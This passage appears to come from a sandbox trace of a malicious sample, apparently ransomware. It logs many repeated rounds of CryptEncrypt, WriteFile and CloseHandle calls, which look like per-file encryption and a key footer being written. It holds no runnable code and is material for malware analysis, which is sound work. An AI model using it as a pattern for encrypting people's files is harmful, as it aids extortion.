lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.708] CloseHandle (hObject=0x2af0) returned 1 [0228.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.725] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.725] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.725] CloseHandle (hObject=0x2af0) returned 1 [0228.742] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.742] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.742] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.743] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.743] CloseHandle (hObject=0x2af0) returned 1 [0228.790] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.791] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.791] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.791] CloseHandle (hObject=0x2af0) returned 1 [0228.806] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.806] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.806] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.807] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.808] CloseHandle (hObject=0x2af0) returned 1 [0228.866] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.866] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.867] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.867] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2618*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2618*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.867] CloseHandle (hObject=0x2af0) returned 1 [0228.990] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0228.990] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0228.990] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0228.990] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0228.991] CloseHandle (hObject=0x2af0) returned 1 [0229.047] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.048] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.048] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.048] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.048] CloseHandle (hObject=0x2af0) returned 1 [0229.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.060] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.060] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.060] CloseHandle (hObject=0x2af0) returned 1 [0229.102] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.102] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.102] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.102] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.103] CloseHandle (hObject=0x2af0) returned 1 [0229.122] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.122] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.122] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.122] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.123] CloseHandle (hObject=0x2af0) returned 1 [0229.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.227] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.227] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.227] CloseHandle (hObject=0x2af0) returned 1 [0229.258] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.258] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.258] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.258] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.259] CloseHandle (hObject=0x2af0) returned 1 [0229.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.263] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.263] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.263] CloseHandle (hObject=0x2af0) returned 1 [0229.267] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.267] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.267] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.267] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.267] CloseHandle (hObject=0x2af0) returned 1 [0229.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.273] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.273] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.273] CloseHandle (hObject=0x2af0) returned 1 [0229.277] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.277] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.277] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.277] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.277] CloseHandle (hObject=0x2af0) returned 1 [0229.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.283] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.283] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.284] CloseHandle (hObject=0x2af0) returned 1 [0229.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.289] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.289] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.289] CloseHandle (hObject=0x2af0) returned 1 [0229.293] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.293] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.293] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.294] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.294] CloseHandle (hObject=0x2af0) returned 1 [0229.300] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.300] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.300] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.301] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.301] CloseHandle (hObject=0x2af0) returned 1 [0229.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.312] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.313] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.313] CloseHandle (hObject=0x2af0) returned 1 [0229.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.322] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.322] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.322] CloseHandle (hObject=0x2af0) returned 1 [0229.332] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.332] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.332] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.333] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.333] CloseHandle (hObject=0x2af0) returned 1 [0229.338] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.338] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.338] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.338] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.339] CloseHandle (hObject=0x2af0) returned 1 [0229.366] 